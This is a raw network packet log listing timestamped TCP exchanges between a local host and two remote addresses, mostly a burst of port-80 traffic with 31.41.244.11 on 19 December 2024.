Dec 19, 2024 06:10:02.631977081 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:02.631990910 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:02.632704973 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:02.634471893 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:02.634497881 CET	49896	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:02.634556055 CET	443	49896	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:02.724757910 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.724812031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.724894047 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.724948883 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.725899935 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.726008892 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.726026058 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.726095915 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.728010893 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.728095055 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.728096008 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.728194952 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.730186939 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.730231047 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.730309010 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.730349064 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.732312918 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.732400894 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.732459068 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.732506037 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.734484911 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.734509945 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.734536886 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.734560966 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.736519098 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.736572027 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.736640930 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.736689091 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.738622904 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.738687038 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.738692045 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.738879919 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.740705013 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.740751028 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.740755081 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.740921021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.742621899 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.742728949 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.742748022 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.742882967 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.744579077 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.744633913 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.744680882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.744725943 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.746551991 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.746623993 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.746669054 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.746721983 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.748507977 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.748575926 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.748621941 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.750382900 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.750442028 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.750483036 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.750560999 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.752294064 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.752357006 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.752408981 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.752449036 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.754220963 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.754266024 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.754328966 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.754523039 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.756125927 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.756203890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.756302118 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.756386042 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.758081913 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.758177042 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.758219004 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.758251905 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.759975910 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.760026932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.760077953 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.760118008 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.761897087 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.761979103 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.761989117 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.762173891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.763860941 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.763926029 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.763955116 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.764178991 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.765717030 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.765795946 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.765827894 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.765866995 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.767647982 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.767700911 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.767745972 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.767955065 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.769543886 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.769591093 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.769680977 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.769721031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.771470070 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.771595955 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.771631002 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.771650076 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.773468971 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.773523092 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.773571014 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.773749113 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.775300980 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.775357962 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.775402069 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.775448084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.777286053 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.777472973 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.777488947 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.777510881 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.779139042 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.779192924 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.779263020 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.779304028 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.781141043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.781204939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.781219006 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.781263113 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.782967091 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.783077002 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.783119917 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.784945965 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.785003901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.785058975 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.785166025 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.786815882 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.786869049 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.786919117 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.786962986 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.788863897 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.788878918 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.788908958 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.788928032 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.790647030 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.790710926 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.790757895 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.790895939 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.792576075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.792632103 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.792686939 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.793845892 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.794519901 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.794604063 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.794682026 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.796422958 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.796473026 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.796513081 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.796758890 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.798346043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.798396111 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.798448086 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.798579931 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.800246954 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.800288916 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.800342083 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.800384998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.802156925 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.802211046 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.802254915 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.802299976 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.804122925 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.804210901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.804212093 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.804487944 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.806014061 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.806077003 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.806108952 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.806231976 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.807904005 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.807955027 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.808031082 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.808074951 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.809839010 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.809895992 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.809948921 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.810003042 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.811733961 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.811780930 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.811830044 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.812486887 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.813657045 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.813705921 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.813770056 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.813833952 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.815570116 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.815613031 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.815623045 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.815679073 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.817504883 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.817630053 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.817677021 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.819505930 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.819555998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.819561005 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.819605112 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.821381092 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.821433067 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.821446896 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.821502924 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.917071104 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.917144060 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.917167902 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.917215109 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.917848110 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.917893887 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.917897940 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.917933941 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.919425964 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.919480085 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.919527054 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.919565916 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.920994043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.921027899 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.921083927 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.922580004 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.922708988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.922759056 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.924154043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.924207926 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.924238920 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.925676107 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.925729036 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.925776958 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.927232981 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.927258015 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.927335024 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.927388906 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.928752899 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.928828955 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.928875923 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.930181980 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.930232048 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.930280924 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.930325031 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.931720018 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.931773901 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.931822062 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.931865931 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.933140039 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.933185101 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.933224916 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.933279037 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.934607029 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.934647083 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.934705019 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.934743881 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.936028004 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.936072111 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.936166048 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.936208010 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.937442064 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.937517881 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.937553883 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.937602997 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.938914061 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.938930988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.938958883 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.938977957 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.940288067 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.940331936 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.940376997 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.940408945 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.941785097 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.941829920 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.941852093 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.941891909 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.943001032 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.943046093 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.943150043 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.943196058 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.944423914 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.944483995 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.944555044 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.944654942 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.945800066 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.945852041 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.945888996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.945930958 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.947077990 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.947205067 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.947257996 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.948452950 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.948493958 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.948642969 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.948808908 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.949809074 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.949853897 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.949903011 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.949940920 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.951114893 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.951246977 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.951291084 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.952568054 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.952621937 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.952673912 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.952733040 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.953835011 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.953886032 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.953967094 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.954045057 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.955185890 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.955229998 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.955327034 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.955368996 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.956536055 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.956590891 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.956628084 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.956774950 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.957906008 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.957963943 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.958028078 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.959255934 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.959309101 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.959320068 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.960598946 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.960648060 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.960726976 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.960772991 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.961982965 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.962069988 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.962074041 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.962121964 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.963304996 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.963468075 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.963526011 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.964685917 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.964787960 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.964853048 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.966137886 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.966258049 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.966311932 CET	49892	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:02.967377901 CET	80	49892	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:02.967442989 CET	49892	80	192.168.2.4	31.41.244.11
